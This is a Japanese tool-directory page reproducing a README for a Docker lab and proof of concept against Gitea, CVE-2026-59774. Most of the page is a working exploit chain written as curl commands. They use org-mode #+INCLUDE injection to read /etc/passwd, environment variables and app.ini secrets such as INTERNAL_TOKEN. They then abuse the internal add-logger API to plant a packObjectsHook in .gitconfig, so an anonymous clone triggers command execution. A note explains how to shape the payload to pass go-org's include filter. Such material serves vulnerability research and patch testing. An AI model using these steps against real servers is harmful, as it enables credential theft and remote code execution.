Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-59774_docker — CVE-2026-59774 | Kitploit
ツール/GitHubGitHub/flowerwitch/cve-2026-59774_docker
脆弱性分析エクスプロイトウェブアプリケーション悪用ラボと実践
GitHubflowerwitch/cve-2026-59774_docker

CVE-2026-59774_docker

CVE-2026-59774

リポジトリを見る
112ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-59774_docker

1. giteaを取得する

git clone https://github.com/FlowerWitch/CVE-2026-59774_docker

cd ./CVE-2026-59774_docker

docker compose up -d

2.初期化

giteaにアクセスします

http://localhost:3000/install

3.repositoryの作成

new repository はデフォルトで公開設定となり、その他の設定は不要です

image

4.POC

curl -X POST "http://localhost:3000/{username}/{repo}/markup" \                       
  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'
image

5.RCE部分

1.まず /proc/self/environ 内の GITEA_CUSTOM フィールドを読み取ることで、gitea のデータ保存場所を取得します

curl -sX POST "http://localhost:3000/admin/poc/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep 'GITEA_CUSTOM='
image
  1. {GITEA_CUSTOM}/conf/app.ini を読み取り、INTERNAL_TOKEN と APP_DATA_PATH フィールドを取得する
curl -sX POST "http://localhost:3000/{username}/{repo_name}/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH' 
image

3.ここで私は add-logger インターフェースを見つけました。このインターフェースの Mode が File の場合、ローカルファイルへの追記書き込みが行われ(対象が存在しない場合は対応するディレクトリが作成されます)、同時にその logger フィールドが router の場合、実行時にログが1件出力されます。出力結果は default よりもはるかに優れています(改行されないため XD)。前者による任意の書き込みを利用して、gitea の .gitconfig に packObjectsHook フィールドを追加し、匿名 clone によってコマンド実行をトリガーします。

curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "Logger": "router",
    "Writer": "pwnhook",
    "Mode": "file",
    "Config":{                                                             
      "filename": "{APP_DATA_PATH}/home/.gitconfig",
      "flags": "none",                                                          
      "prefix": "[uploadpack]\n        packObjectsHook = id > /tmp/pwned ;#", 
      "level": "Info",
      "rotate": false
    }
  }'
image

4.後続のリクエストが後続の設定を汚染しないようにログハンドルを閉じます。上記の logger と writer を使用します

curl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  1. git clone がコマンド実行を引き起こす
image

Example

gg1

注

go-org 1.9.1 の parseInclude 関数には、正規表現フィルタリングルール includeFileRegexp に一致した場合のみ後続の関数へ進めるようになっています。

func (d *Document) parseInclude(k Keyword) (int, Node) {
	resolve := func() Node {
		d.Log.Printf("Bad include %#v", k)
		return k
	}
	if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil {  # <--这里施加了 includeFileRegexp 过滤
		path, kind, lang := m[1], m[2], m[3]
		if !filepath.IsAbs(path) {
			path = filepath.Join(filepath.Dir(d.Path), path)
		}

includeFileRegexp のマッチ条件は以下のとおりです

var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)

したがって、payload "#+INCLUDE: \"/etc/passwd\"\n" は正常にマッチできないため、構築は式に適合させる必要があり、例えば:

"#+INCLUDE: \"/etc/passwd\" src 123\n"
ツールをダウンロード